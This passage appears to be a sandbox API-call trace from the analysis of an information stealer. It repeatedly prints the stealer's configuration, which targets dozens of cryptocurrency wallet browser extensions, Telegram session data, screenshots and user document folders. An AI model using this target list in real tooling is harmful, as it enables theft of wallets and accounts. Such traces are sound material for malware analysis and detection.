Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3276 [0260.182] LocalAlloc (uFlags=0x40, uBytes=0x1998) returned 0x6bb0c0 [0260.182] lstrlenW (lpString="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3276 [0260.182] LocalAlloc (uFlags=0x40, uBytes=0x1998) returned 0x6bca60 [0260.182] StrStrW (lpFirst="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.182] lstrlenW (lpString="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3276 [0260.182] LocalAlloc (uFlags=0x40, uBytes=0x1a18) returned 0x6be400 [0260.182] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.182] LocalFree (hMem=0x6be400) returned 0x0 [0260.183] StrStrW (lpFirst="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.183] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.183] LocalFree (hMem=0x6b9720) returned 0x0 [0260.183] LocalFree (hMem=0x6bb0c0) returned 0x0 [0260.184] LocalFree (hMem=0x6bca60) returned 0x0 [0260.184] StrStrW (lpFirst="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension 